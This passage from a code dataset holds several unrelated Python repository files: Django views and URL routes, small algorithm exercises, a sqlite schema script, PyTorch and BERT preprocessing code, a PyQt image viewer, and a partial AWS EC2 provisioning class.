obj.save(send_email=True)\n        return HttpResponseRedirect(reverse('qa:detail',  kwargs={'slug': self._get_question().slug}))\n","repo_name":"assigdev/hasker","sub_path":"apps/qa/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"14694658435","text":"from collections import defaultdict\n\n\ndef main(n):\n    memo = defaultdict()\n    getCombos(n, memo)\n    return memo[n]\n\n\ndef getCombos(n, memo):\n    if n == 1:\n        return ['()']\n    else:\n        # Get combos from n-1, add a paren to each combo and add all perms\n        memo[n-1] = getCombos(n-1, memo)\n        memo[n] = addAnotherParenToCombos(memo[n-1])\n        return memo[n]\n\n\ndef addAnotherParenToCombos(last_combos):\n    # Get combos from n-1, add a paren to each combo and add all perms\n    new_combos = set()\n    for combo in last_combos:\n        x = 0\n        y = len(combo)\n        while y >= 0:\n            openParen = '('\n            left = combo[:y]\n            closeParen = ')'\n            right = combo[y:]\n            new = openParen + left + closeParen + right\n            if new not in new_combos:\n                new_combos.add(new)\n            y -= 1\n\n        x = 0\n        y = len(combo)\n        while x <= len(combo):\n            openParen = '('\n            left = combo[:x]\n            closeParen = ')'\n            right = combo[x:]\n            new = left + openParen + right + closeParen\n            if new not in new_combos:\n                new_combos.add(new)\n            x += 1\n\n    return new_combos\n\n\nif __name__ == '__main__':\n    n = 3\n    combos = main(n)\n    print('With 3 parentesis, we get the following combos')\n    for i, combo in enumerate(combos):\n        print(i+1, combo)\n\nelse:\n    print('Importing: Parenthesis Combonations Algorithm')","repo_name":"troywsmith/pygo","sub_path":"practice/CTCI/Ch_8_RecursionDynamicProgramming/Parens.py","file_name":"Parens.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"73413339306","text":"# There are variety of SQL flavors\n# Postgres is common and what I usually use\n# But, let's use a local database called sqlite for today\n\nimport sqlite3\n\n# integer primary key means\n# unique, not null, autoincrementing\n# must not have final comma\n# end with semicolon\n\nrecovery_level = '''\nCREATE TABLE recovery IF NOT EXISTS {\n    id INTEGER PRIMARY KEY,  \n    color VARCHAR(10) UNIQUE NOT NULL,\n    description VARCHAR(250)\n};\n'''\n\n# Can you fill out timepoints such that has all of the columns that\n# you're interested in, with the consideration that you might want more\n# relational tables.\ntimepoints = '''\nCREATE TABLE timepoints IF NOT EXISTS {\n    id INTEGER PRIMARY KEY,\n    timestamp DATETIME,\n    heartrate FLOAT NOT NULL,\n    recovery_id INTEGER REFERENCES recovery(id)\n}\n'''\n\n# Let's connect to a database\n\n\ndef create_rel_tables(path_to_db: str, queries: list[str]):\n    conn = sqlite3.connect(path_to_db)\n    cursor = conn.cursor()\n    for query in queries:\n        cursor.execute(query)\n    cursor.close()\n\n\n# Only add name = main if in a functional file, not a script file\n# if __name__ == '__main__':\n# anything after name = main is run ONLY if the file that contains it\n# is the one being run\ncreate_rel_tables('data/whoop.db', queries=[recovery_level, timepoints])\n\n\n# RAW SQL challenge:\n# Upload the entire dataset in one operation into a raw table\n# And use SQL to split the data into timepoints and recovery\n\n# Alternative, split in python and upload separately\n","repo_name":"asugden/fast_ds","sub_path":"scripts/create_tables.py","file_name":"create_tables.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"34773361975","text":"import sys\n\ndef getHorizontal(commands):\n    res = 0\n    for c in commands:\n        if(c[0] ==  \"forward\"):\n            res += int(c[1])\n    return res\n\ndef getDepth(commands):\n    res = 0\n    for c in commands:\n        if(c[0] == 'down'):\n            res += int(c[1])\n        elif(c[0] == 'up'):\n            res -= int(c[1])\n    \n    return res\n\ndef getPosition(commands):\n    horiz = 0\n    depth = 0 \n    aim = 0\n    for c in commands:\n        if(c[0] == \"forward\"):\n            horiz += int(c[1])\n            if(aim > 0):\n                depth += aim*int(c[1])\n        elif(c[0] == \"down\"):\n            aim += int(c[1])\n        elif(c[0] == \"up\"):\n            aim -= int(c[1])\n\n    return(horiz*depth)  \n\nif __name__ == '__main__':\n    inputFile = f\"{sys.argv[1]}\"\n\n    with open(inputFile) as f:\n        commands = f.readlines()\n        commands = [command.rstrip().split() for command in commands]\n\n    print(\"*************PART 1**************\")\n    horizontalPos = getHorizontal(commands)\n    depth = getDepth(commands)\n    print(horizontalPos*depth)\n\n    print(\"\\n*************PART 2**************\")\n    res = getPosition(commands)\n    print(res)","repo_name":"cbonoan/AdventOfCode2021","sub_path":"day2/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37267976361","text":"from Freestyle import *\nfrom logical_operators import *\nfrom PredicatesU1D import *\nfrom shaders import *\n\n## the id of the occluder (use SHIFT+click on the ViewMap to\n## retrieve ids)\nid = Id(3,0)\nupred = AndUP1D(NotUP1D(QuantitativeInvisibilityUP1D(0)),\npyIsInOccludersListUP1D(id))\nOperators.select(upred)\nOperators.bidirectionalChain(ChainSilhouetteIterator(), NotUP1D(upred))\nshaders_list = \t[\n\t\tSamplingShader(5),\n\t\tConstantThicknessShader(3), \n\t\tConstantColorShader(0.3,0.3,0.3,1)\n\t\t]\nOperators.create(TrueUP1D(), shaders_list)\n","repo_name":"benardp/contours","sub_path":"scripts/freestyle/style_modules/occluded_by_specific_object.py","file_name":"occluded_by_specific_object.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"37"}
+{"seq_id":"11156974943","text":"###############################################################################\n### Adapted from PyTorch implementation of HMR\n###     MandyMo: https://github.com/MandyMo/pytorch_HMR/blob/master/src/LinearModel.py\n###############################################################################\n\nimport sys\nimport torch\nimport numpy as np\nimport torch.nn as nn\n\n\nclass LinearModel(nn.Module):\n    def __init__(self, fc_layers, use_dropout, drop_prob, use_ac_func):\n        super(LinearModel, self).__init__()\n        # Input param\n        self.fc_layers   = fc_layers   # List of int of neuron layer: [2048+26, 1024, 1024, 26]\n        self.use_dropout = use_dropout # List of bool to use dropout: [True, True, False]\n        self.drop_prob   = drop_prob   # List of float for drop prob: [0.5, 0.5, 0]\n        self.use_ac_func = use_ac_func # List of bool to use active function: [True, True, False]\n        \n        if not self._check():\n            msg = '[LinearModel] Wrong parameters!'\n            print(msg)\n            sys.exit(msg)\n\n        self.create_layers()\n\n\n    def _check(self):\n        while True:\n            if not isinstance(self.fc_layers, list):\n                print('fc_layers require list, get {}'.format(type(self.fc_layers)))\n                break\n            \n            if not isinstance(self.use_dropout, list):\n                print('use_dropout require list, get {}'.format(type(self.use_dropout)))\n                break\n\n            if not isinstance(self.drop_prob, list):\n                print('drop_prob require list, get {}'.format(type(self.drop_prob)))\n                break\n\n            if not isinstance(self.use_ac_func, list):\n                print('use_ac_func require list, get {}'.format(type(self.use_ac_func)))\n                break\n            \n            l_fc_layer = len(self.fc_layers)\n            l_use_drop = len(self.use_dropout)\n            l_drop_prob = len(self.drop_prob)\n            l_use_ac_func = len(self.use_ac_func)\n\n            return l_fc_layer >= 2 and \\\n                    l_use_drop < l_fc_layer and \\\n                    l_drop_prob < l_fc_layer and \\\n                    l_use_ac_func < l_fc_layer and \\\n                    l_drop_prob == l_use_drop\n\n        return False\n\n\n    def create_layers(self):\n        l_fc_layer = len(self.fc_layers)\n        l_use_drop = len(self.use_dropout)\n        l_drop_prob = len(self.drop_prob)\n        l_use_ac_func = len(self.use_ac_func)\n\n        self.fc_blocks = nn.Sequential()\n        \n        for _ in range(l_fc_layer - 1):\n            self.fc_blocks.add_module(\n                name = 'regressor_fc_{}'.format(_),\n                module = nn.Linear(in_features=self.fc_layers[_], out_features=self.fc_layers[_+1])\n            )\n            \n            if _ < l_use_ac_func and self.use_ac_func[_]:\n                self.fc_blocks.add_module(\n                    name = 'regressor_af_{}'.format(_),\n                    module = nn.ReLU()\n                )\n            \n            if _ < l_use_drop and self.use_dropout[_]:\n                self.fc_blocks.add_module(\n                    name = 'regressor_fc_dropout_{}'.format(_),\n                    module = nn.Dropout(p=self.drop_prob[_])\n                )\n\n\n    def forward(self, inputs):\n        msg = 'the base class [LinearModel] is not callable!'\n        sys.exit(msg)\n\n\n###############################################################################\n### Simple example to test the program                                      ###\n###############################################################################\nif __name__ == '__main__':\n    # Just to check network architecture\n    device      = torch.device('cpu')\n    fc_layers   = [576+39, 288, 288, 39]\n    use_dropout = [True, True, False]\n    drop_prob   = [0.5, 0.5, 0]\n    use_ac_func = [True, True, False]\n    model = LinearModel(fc_layers, use_dropout, drop_prob, use_ac_func).to(device)\n    print(model)","repo_name":"gmntu/mobilehand","sub_path":"code/utils_linear_model.py","file_name":"utils_linear_model.py","file_ext":"py","file_size_in_byte":3937,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"37"}
+{"seq_id":"70416422827","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom transformers import BertTokenizerFast\nimport torch\n\n# Load the dataset\ndf = pd.read_csv(\"spamdata_v2.csv\")\n\n# Check class distribution\nclass_distribution = df['label'].value_counts(normalize=True)\nprint(\"Class Distribution:\\n\", class_distribution)\n\n# Set random seed for reproducibility\nrandom_seed = 42\n\n# Split the dataset into train, validation, and test sets\ntrain_text, temp_text, train_labels, temp_labels = train_test_split(df['text'], df['label'],\n                                                                    random_state=random_seed,\n                                                                    test_size=0.3,\n                                                                    stratify=df['label'])\n\nval_text, test_text, val_labels, test_labels = train_test_split(temp_text, temp_labels,\n                                                                random_state=random_seed,\n                                                                test_size=0.5,\n                                                                stratify=temp_labels)\n\n# Initialize the BERT tokenizer\ntokenizer = BertTokenizerFast.from_pretrained('bert-base-uncased')\n\n# Tokenize and encode sequences in the training set\ntokens_train = tokenizer.batch_encode_plus(\n    train_text.tolist(),\n    max_length=512,  # Adjust the max length based on the text length distribution\n    padding='max_length',\n    truncation=True,\n    return_tensors='pt'\n)\n\n# Tokenize and encode sequences in the validation set\ntokens_val = tokenizer.batch_encode_plus(\n    val_text.tolist(),\n    max_length=512,\n    padding='max_length',\n    truncation=True,\n    return_tensors='pt'\n)\n\n# Tokenize and encode sequences in the test set\ntokens_test = tokenizer.batch_encode_plus(\n    test_text.tolist(),\n    max_length=512,\n    padding='max_length',\n    truncation=True,\n    return_tensors='pt'\n)\n\n# Convert the tokenized sequences to tensors\ntrain_seq = tokens_train['input_ids']\ntrain_mask = tokens_train['attention_mask']\ntrain_y = torch.tensor(train_labels.tolist())\n\nval_seq = tokens_val['input_ids']\nval_mask = tokens_val['attention_mask']\nval_y = torch.tensor(val_labels.tolist())\n\ntest_seq = tokens_test['input_ids']\ntest_mask = tokens_test['attention_mask']\ntest_y = torch.tensor(test_labels.tolist())\n\n# Save the preprocessed data tensors\ntorch.save(train_seq, 'train_seq.pt')\ntorch.save(train_mask, 'train_mask.pt')\ntorch.save(train_y, 'train_y.pt')\n\ntorch.save(val_seq, 'val_seq.pt')\ntorch.save(val_mask, 'val_mask.pt')\ntorch.save(val_y, 'val_y.pt')\n\ntorch.save(test_seq, 'test_seq.pt')\ntorch.save(test_mask, 'test_mask.pt')\ntorch.save(test_y, 'test_y.pt')\n\n# Save the tokenizer\ntokenizer.save_pretrained('tokenizer')\n\nprint(\"Data preparation completed.\")\n","repo_name":"thePushpak/Bert-Spam-Prediction","sub_path":"data_preparation.py","file_name":"data_preparation.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31193087558","text":"from django.urls import path\nfrom . import views\n\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n\tpath('', views.index, name='index'),\n\tpath('sair', views.sair, name='sair'),\n\tpath('login_view', views.login_view, name='index'),\n\tpath('meuperfil', views.meuperfil, name='meuperfil'),\n\tpath('cadastro', views.cadastro, name='cadastro'),\n\tpath('registro', views.registro, name='registro'),\n\tpath('novaVaga', views.novaVaga, name='novaVaga'),\n\tpath('cadastraVaga', views.cadastraVaga, name='cadastraVaga'),\n\tpath('vagas', views.vagas, name='vagas'),\n\tpath('<int:x>/detalhe', views.detalhe, name='detalhe'),\n    path('<int:x>/rota', views.rota, name='rota'),\n\tpath('transacao', views.transacao, name='transacao'),\n\tpath('<int:x>/reserva', views.reserva, name='reserva'),\n    path('<int:x>/reserve', views.reserve, name='reserve'),\n    path('agendarReserva', views.agendarReserva, name='agendarReserva'),\n    path('buscar', views.buscar, name='buscar'),\n    path('perfil', views.perfil, name='perfil'),\n    path('fotoPerfil', views.fotoPerfil, name='fotoPerfil'),\n    path('api/avaliacao', views.api_avaliacao, name='api_avaliacao'),\n    path('api/excluir', views.api_excluir, name='api_excluir'),\n    path('<int:x>/api/reembolsar', views.api_reembolsar, name='api_reembolsar'),\n    path('<int:x>/api/avaliacao2', views.api_avaliacao2, name='api_avaliacao2'),\n    path('<int:x>/reservasvaga', views.reservasvaga, name='reservasvaga'),\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","repo_name":"DanielCurti/tcc","sub_path":"estacionamento/painel/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23072910921","text":"import os\nimport numpy as np\nimport matplotlib\nfrom matplotlib.backends.backend_qt5agg import (FigureCanvasQTAgg, NavigationToolbar2QT)\nfrom matplotlib.figure import Figure\nfrom PyQt5 import QtCore, QtGui, QtWidgets \nfrom scipy import ndimage\n\nclass imageViewer():\n    def __init__(self, _parent, _widget):\n        self.parent = _parent\n        self.m_widget = _widget\n        self.filepaths = None\n        self.loaded = False\n\n        self.m_widget.setMinimumSize(QtCore.QSize(350, 350))\n\n        # a figure instance to plot on\n        self.figure = Figure(figsize=(3,4))\n\n        # this is the Canvas widget that displays the 'figure'\n        self.canvas = FigureCanvasQTAgg(self.figure)\n        matplotlib.rcParams['image.cmap'] = 'gray' # magma, seismic\n\n        # this is the Navigation widget - toolbar for image\n        self.toolbar = NavigationToolbar2QT(self.canvas, self.parent)\n\n        # these are the app widgets connected to their slot methods\n        titleFont=QtGui.QFont(\"Arial\",15)\n        titleFont.setBold(True)\n        self.titleLabel = QtWidgets.QLabel('Image viewer')\n        self.titleLabel.setFont(titleFont)\n        self.titleLabel.setAlignment(QtCore.Qt.AlignCenter | QtCore.Qt.AlignVCenter)        \n        self.slideBar = QtWidgets.QSlider(QtCore.Qt.Horizontal)\n        self.slideBar.setMinimum(0)\n        self.slideBar.setTickPosition(QtWidgets.QSlider.TicksBothSides)\n        self.slideBar.setTickInterval(1)        \n        self.slideBar.setSingleStep(1)\n        self.slideBar.setEnabled(False)\n        self.slideBar.valueChanged[int].connect(self.changeValue)\n        self.buttonPlus = QtWidgets.QPushButton('+')\n        self.buttonPlus.setMaximumSize(QtCore.QSize(25, 30))\n        self.buttonPlus.setEnabled(False)\n        self.buttonPlus.clicked.connect(self.slideMoveUp)\n        self.buttonMinus = QtWidgets.QPushButton('-')\n        self.buttonMinus.setMaximumSize(QtCore.QSize(25, 30))\n        self.buttonMinus.setEnabled(False) \n        self.buttonMinus.clicked.connect(self.slideMoveDown)        \n        self.buttonLoad = QtWidgets.QPushButton('Open')\n        self.buttonLoad.setMinimumSize(QtCore.QSize(50, 40))\n        self.buttonLoad.setEnabled(True)\n        self.buttonLoad.clicked.connect(self.openImage)        \n        self.buttonSave = QtWidgets.QPushButton('Save')\n        self.buttonSave.setMinimumSize(QtCore.QSize(50, 40))\n        self.buttonSave.setEnabled(False)\n        self.buttonSave.clicked.connect(self.saveImageInfo)     \n        self.labelDimensions = QtWidgets.QLabel('[h=0,w=0]')\n        self.labelSliceId = QtWidgets.QLabel('Slice = 0')\n        self.labelSliceId.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignVCenter)\n\n        # set the layouts\n        mainLayout = QtWidgets.QVBoxLayout(self.m_widget)\n        mainLayout.addWidget(self.titleLabel)\n        mainLayout.addWidget(self.toolbar)\n        layoutH2 = QtWidgets.QHBoxLayout()\n        layoutH3 = QtWidgets.QHBoxLayout()\n        layoutH2.addWidget(self.buttonMinus)        \n        layoutH2.addWidget(self.slideBar)        \n        layoutH2.addWidget(self.buttonPlus)  \n        layoutH3.addWidget(self.labelDimensions)\n        layoutH3.addItem(QtWidgets.QSpacerItem(15, 15, QtWidgets.QSizePolicy.MinimumExpanding))\n        layoutH3.addWidget(self.buttonLoad)\n        layoutH3.addWidget(self.buttonSave)\n        layoutH3.addItem(QtWidgets.QSpacerItem(15, 15, QtWidgets.QSizePolicy.MinimumExpanding))\n        layoutH3.addWidget(self.labelSliceId)\n        mainLayout.addWidget(self.canvas, QtWidgets.QSizePolicy.MinimumExpanding)\n        mainLayout.addLayout(layoutH2)\n        mainLayout.addLayout(layoutH3)   \n        mainLayout.setAlignment(QtCore.Qt.AlignTop)   \n\n        # initialize the main image data\n        self.m_data = None # numpy array\n        self.m_image = None # QImage object\n        self.m_map = []  # path of all image files \n        self.full_data = None # numpy array\n    \n    def clear(self):\n        self.__del__()\n\n    def __del__(self):\n        # remove temporary data: \n        self.m_data = None\n        self.m_image = None\n        if len(self.m_map) > 0:\n            self.removeTempImages()\n\n    # @Slot()\n    def plotImage(self):\n        self.figure.clear()\n        ax = self.figure.add_subplot(111)\n        img = ax.imshow(self.m_data,vmin=0,vmax=255)\n        ax.set_xticks([])\n        ax.set_yticks([])          \n        self.figure.colorbar(img)\n        ax.figure.canvas.draw()\n        # self.buttonPlot.setEnabled(False)  \n\n    # @Slot()\n    def changeValue(self, _value):\n        filename = self.m_map[_value]\n        self.loadImageData(filename,True)\n        self.labelSliceId.setText(\"Slice = \"+str(_value+1))      \n\n    # @Slot()\n    def slideMoveUp(self):\n        self.slideBar.setValue(self.slideBar.value()+1)\n\n    # @Slot()\n    def slideMoveDown(self):\n        self.slideBar.setValue(self.slideBar.value()-1)\n    \n    # @Slot()\n    def openImage(self):\n        options = QtWidgets.QFileDialog.Options()\n        files, _ = QtWidgets.QFileDialog.getOpenFileNames(self.parent, \"Open uCT-image\", \"\",\"Image Files (*.png);;Image Files (*.tif)\", options=options)\n        if files:\n            if len(self.m_map) > 0:\n                self.removeTempImages()\n            self.m_map.clear() # remove all items\n            for filepath in files:\n                self.m_map.append( filepath )\n            self.m_map.sort()\n            self.loadImageData(self.m_map[0],True)\n            self.buttonPlus.setEnabled(True) \n            self.buttonMinus.setEnabled(True)\n            self.buttonSave.setEnabled(True) \n            self.slideBar.setMaximum(len(self.m_map)-1)\n            self.slideBar.setValue(0)\n            self.slideBar.setEnabled(True)\n            self.labelSliceId.setText(\"Slice = 1\")\n            self.loaded = True\n            self.filepaths = files\n        return\n\n    # @Slot()\n    def saveImageInfo(self):\n        self.getFullData()\n        print(self.full_data.shape, self.full_data.dtype)\n        db_dir = os.path.join(os.path.dirname(__file__), '..', 'imgs')\n        options = QtWidgets.QFileDialog.Options()\n        filename, filtered = QtWidgets.QFileDialog.getSaveFileName(self.parent, 'Save Field Data', db_dir, \"Both files (*.raw, *.nf);; Raw file (*.raw);; Neutral file (*.nf)\", options=options)\n        if(filtered != \"Neutral file (*.nf)\"):\n            self.saveImageToRaw(filename)\n        if(filtered != \"Raw file (*.raw)\"):\n            self.saveImageToNF(filename)\n        self.full_data = None\n        return\n\n    def saveImageToRaw(self, filename):\n        file = filename + '.raw'\n        self.full_data.tofile(file)        \n        return\n\n    def saveImageToNF(self, filename):        \n        materials = {}\n        mat_i, cmat_i = np.unique(self.full_data,return_counts=True)\n        for i in range(len(mat_i)):\n            if mat_i[i] in materials:  \n                materials[mat_i[i]] += cmat_i[i]\n            else:\n                materials[mat_i[i]] = cmat_i[i]\n        materials = dict(sorted(materials.items(), key=lambda x: x[0]))\n        dimensions = np.array(self.full_data.shape[::-1], dtype=int)\n        vol = self.full_data.shape[2] * self.full_data.shape[1] * self.full_data.shape[0]\n        mat = np.array(list(materials.keys()))  \n        cmat = np.array(list(materials.values()))   \n        cmat = cmat*100.0/vol    \n\n        nfdata = {}\n        nfdata[\"type_of_analysis\"] = 0\n        nfdata[\"magnetic_gradient\"] = 1.0\n        nfdata[\"type_of_solver\"] = 0\n        nfdata[\"type_of_rhs\"] = 0\n        nfdata[\"voxel_size\"] = 1.0\n        nfdata[\"solver_tolerance\"] = 1.0e-6\n        nfdata[\"number_of_iterations\"] = 10000\n        nfdata[\"image_dimensions\"] = dimensions.tolist()          \n        nfdata[\"refinement\"] = 1\n        nfdata[\"number_of_materials\"] = mat.shape[0]\n        nfdata[\"properties_of_materials\"] = mat.tolist()\n        nfdata[\"volume_fraction\"] = list(np.around(cmat,2))\n        nfdata[\"data_type\"] = \"uint8\"\n\n        # Save image data in NF format\n        file = filename + '.nf'\n        with open(file,'w') as file_nf:\n            sText = ''\n            for key, value in nfdata.items():\n                sText += '%' + str(key) + '\\n'+ str(value) + '\\n\\n'\n            sText = sText.replace('], ','\\n')\n            sText = sText.replace('[','')\n            sText = sText.replace(']','')\n            sText = sText.replace(',','')\n            file_nf.write(sText)\n        return\n\n    # @Slot()\n    def aboutDlg(self):\n        sm = \"\"\"pyTomoViewer\\nVersion 1.0.0\\n2020\\nLicense GPL 3.0\\n\\nThe authors and the involved Institutions are not responsible for the use or bad use of the program and their results. The authors have no legal dulty or responsability for any person or company for the direct or indirect damage caused resulting from the use of any information or usage of the program available here. The user is responsible for all and any conclusion made with the program. There is no warranty for the program use. \"\"\"\n        msg = QtWidgets.QMessageBox()\n        msg.setText(sm)\n        msg.setWindowTitle(\"About\")\n        msg.exec_()\n    \n    # method\n    def loadImageData(self, _filepath, _updateWindow):\n        self.m_image = QtGui.QImage(_filepath)\n        # We perform these conversions in order to deal with just 8 bits images:\n        # convert Mono format to Indexed8\n        if self.m_image.depth() == 1:\n            self.m_image = self.m_image.convertToFormat(QtGui.QImage.Format_Indexed8)\n        # convert Grayscale16 format to Grayscale8\n        if not self.m_image.format() == QtGui.QImage.Format_Grayscale8:\n            self.m_image = self.m_image.convertToFormat(QtGui.QImage.Format_Grayscale8)\n        self.m_data = convertQImageToNumpy(self.m_image)\n        if _updateWindow:\n            self.labelDimensions.setText(\"[h=\"+str(self.m_data.shape[0])+\",w=\"+str(self.m_data.shape[1])+\"]\")\n            self.plotImage()\n    \n    # method\n    def removeTempImages(self):\n        for filepath in self.m_map:\n            if \"temp_\" in filepath :\n                if os.path.exists(filepath):\n                    try:\n                        os.remove(filepath)\n                    except OSError as err:\n                        print(\"Exception handled: {0}\".format(err))\n                else:\n                    print(\"The file does not exist\") \n\n    def getFullData(self):\n        self.full_data = np.zeros((len(self.m_map), self.m_data.shape[0], self.m_data.shape[1]), dtype='uint8')\n        for index, file in enumerate(self.m_map):\n            self.loadImageData(file, False)\n            self.full_data[index] = np.copy(self.m_data)\n        return\n\n# This function was adapted from (https://github.com/Entscheider/SeamEater/blob/master/gui/QtTool.py)\n# Project: SeamEater; Author: Entscheider; File: QtTool.py; GNU General Public License v3.0 \n# Original function name: qimage2numpy(qimg)\n# We consider just 8 bits images and convert to single depth:\ndef convertQImageToNumpy(_qimg):\n    h = _qimg.height()\n    w = _qimg.width()\n    ow = _qimg.bytesPerLine() * 8 // _qimg.depth()\n    d = 0\n    if _qimg.format() in (QtGui.QImage.Format_ARGB32_Premultiplied,\n                        QtGui.QImage.Format_ARGB32,\n                        QtGui.QImage.Format_RGB32):\n        d = 4 # formats: 6, 5, 4.\n    elif _qimg.format() in (QtGui.QImage.Format_Indexed8,\n                            QtGui.QImage.Format_Grayscale8):\n        d = 1 # formats: 3, 24.\n    else:\n        raise ValueError(\".ERROR: Unsupported QImage format!\")\n    buf = _qimg.bits().asstring(_qimg.byteCount())\n    res = np.frombuffer(buf, 'uint8')\n    res = res.reshape((h,ow,d)).copy()\n    if w != ow:\n        res = res[:,:w] \n    if d >= 3:\n        res = res[:,:,0].copy()\n    else:\n        res = res[:,:,0] \n    return res\n\n","repo_name":"mcastrorib/dipolar_field","sub_path":"src/imageViewer.py","file_name":"imageViewer.py","file_ext":"py","file_size_in_byte":11737,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"41140064740","text":"'''\r\nCreated on Dec 14, 2017\r\n\r\n@author: Leon Corrales Morales\r\n\r\n'''\r\nimport boto3, multiprocessing\r\nfrom datetime import datetime\r\n#from threading import Thread\r\n\r\nclass provisioner(object):\r\n\r\n#==============================================================================\r\n# Class constructor required Paramters:\r\n#   config   - This is the dict of configuration parameters that are obtained \r\n#              from the base.yaml file.\r\n# Description: This class is responsible for the provisioning AWS EC2 and S3\r\n#              instances using boto3.  \r\n#==============================================================================\r\n    def __init__(self, config, logger):\r\n        self.workers = []\r\n        self.managers = []\r\n        self.managersId = []\r\n        self.worksId = []\r\n        self.zoneMap = {}\r\n        self.config = config\r\n        self.logger = logger\r\n\r\n#==============================================================================\r\n# Description: Simple getters for managers and works\r\n#==============================================================================\r\n    def getManagers(self):\r\n        return self.managers\r\n    \r\n    def getWorkers(self):\r\n        return self.workers\r\n    \r\n    def getManagersId(self):\r\n        return self.managersId\r\n    \r\n    def getWorkersId(self):\r\n        return self.worksId\r\n#===============================================================================\r\n# Paramters:\r\n#   host     - This is the IP address of the host who's zone is being looked up.\r\n# Description: for the current provision, this function returns a hosts zone\r\n#              based on the IP address and the base yaml config file.  \r\n#===============================================================================\r\n    def getZone(self, ipaddress):\r\n        zone = \"\"\r\n        if ipaddress in self.zoneMap: \r\n            zone = self.zoneMap[ipaddress]\r\n        self.logger.debug(\"getZone mapping - \" + ipaddress + \" maped to: \" + zone)\r\n        return zone\r\n   \r\n    \r\n#==============================================================================\r\n# Paramters:\r\n#   qaCountWorker    - This is the amount of EC2 docker-ee workers instances\r\n#                      to create in QA.\r\n#   devCountWorker   - This is the amount of EC2 docker-ee worker instances \r\n#                      to create in Dev.\r\n#   stressCountWorker- This is the amount of EC2 docker-ee worker instances \r\n#                      to create in stress.\r\n#   dmzCountWorker   - This is the amount of EC2 docker-ee worker instances \r\n#                      to create in the dmz.\r\n#   prodCountWorker  - This is the amount of EC2 docker-ee worker instances \r\n#                      to create in production.\r\n#\r\n# Description: This method is used to provion a set number of workers to each region.\r\n#              returns an array of ip address of the new instances.  \r\n#==============================================================================\r\n    def provisionWorkers(self, qaCountWorker, devCountWorker, stressCountWorker,\r\n                         dmzCountWorker, prodCountWorker):\r\n        \r\n        self.setWorkers(devCountWorker, self.config['aws.dev'])\r\n        self.setWorkers(qaCountWorker, self.config['aws.qa'])\r\n        self.setWorkers(stressCountWorker, self.config['aws.stress'])\r\n        self.setWorkers(dmzCountWorker, self.config['aws.dmz'])\r\n        self.setWorkers(prodCountWorker, self.config['aws.prod'])\r\n            \r\n        return self.workers\r\n\r\n#==============================================================================\r\n# @Depricated \r\n# Paramters:\r\n#   qaCountWorker    - This is the amount of EC2 docker-ee managers instances\r\n#                      to create in QA.\r\n#   devCountWorker   - This is the amount of EC2 docker-ee managers instances \r\n#                      to create in Dev.\r\n#   stressCountWorker- This is the amount of EC2 docker-ee managers instances \r\n#                      to create in stress.\r\n#   dmzCountWorker   - This is the amount of EC2 docker-ee managers instances \r\n#                      to create in the dmz.\r\n#   prodCountWorker  - This is the amount of EC2 docker-ee managers instances \r\n#                      to create in production.\r\n#\r\n# Description: This method is used to provion a set number of Docker managers\r\n#              to each region. Returns an array of ip address of the new instances.  \r\n#==============================================================================\r\n    def provisionManagers(self, qaCountManager, devCountManager,\r\n                          stressCountManager, dmzCountManager, prodCountManager):\r\n        \r\n        self.setManagers(devCountManager, self.config['aws.dev'])\r\n        self.setManagers(qaCountManager, self.config['aws.qa'])\r\n        self.setManagers(stressCountManager, self.config['aws.stress'])\r\n        self.setManagers(dmzCountManager, self.config['aws.dmz'])\r\n        self.setManagers(prodCountManager, self.config['aws.prod'])\r\n            \r\n        return self.managers\r\n    \r\n#==============================================================================\r\n# Paramters:\r\n#   count    - Number AWS instances to loop through\r\n#   zone     - Zone to create workers e.g qa, dev ... etc\r\n#\r\n# Description: works as helper append a new worker IP address and send AWS info\r\n#==============================================================================\r\n    def setWorkers(self, count, zone):\r\n        for i in range(1, count + 1):\r\n            self.createEC2(i, zone, False)\r\n        \r\n        \r\n#==============================================================================\r\n# Paramters:\r\n#   count    - Number AWS instances to loop through\r\n#   zone     - Zone to create workers e.g qa, dev ... etc\r\n#\r\n# Description: works as helper append a new manager IP address and send AWS info\r\n#==============================================================================    \r\n    def setManagers(self, count, zone):\r\n        for i in range(1, count + 1):\r\n            self.createEC2(i, zone, True)\r\n\r\n#==============================================================================\r\n# Paramters:\r\n#   i        - This EC2's number whithin it's set\r\n#   zone     - Zone to create workers e.g qa, dev ... etc\r\n#   ismanager- Is this node a manger true/false\r\n# Description: provisions either a Docker manager node or worker node using for \r\n#              a given count and zone. This is a consolidated function from old\r\n#              code. \r\n#==============================================================================                \r\n            \r\n    def createEC2(self, i, zone, isManager):\r\n            if(isManager):\r\n                awsInst = self.createManager(i, zone)\r\n            else:\r\n                awsInst = self.createWorker(i, zone)\r\n                \r\n            self.logger.debug(\"adding \" + str(awsInst[0].id) + \" in \" + zone)\r\n            awsInst[0].wait_until_running()\r\n            client = boto3.client('ec2',region_name=self.config['aws.region'],\r\n                                   aws_access_key_id=self.config['aws.access.key'],\r\n                                   aws_secret_access_key=self.config['aws.secret.key'])\r\n            waiter = client.get_waiter('instance_status_ok')\r\n            waiter.wait(InstanceIds=[str(awsInst[0].id)], IncludeAllInstances=True)\r\n            if(isManager):\r\n              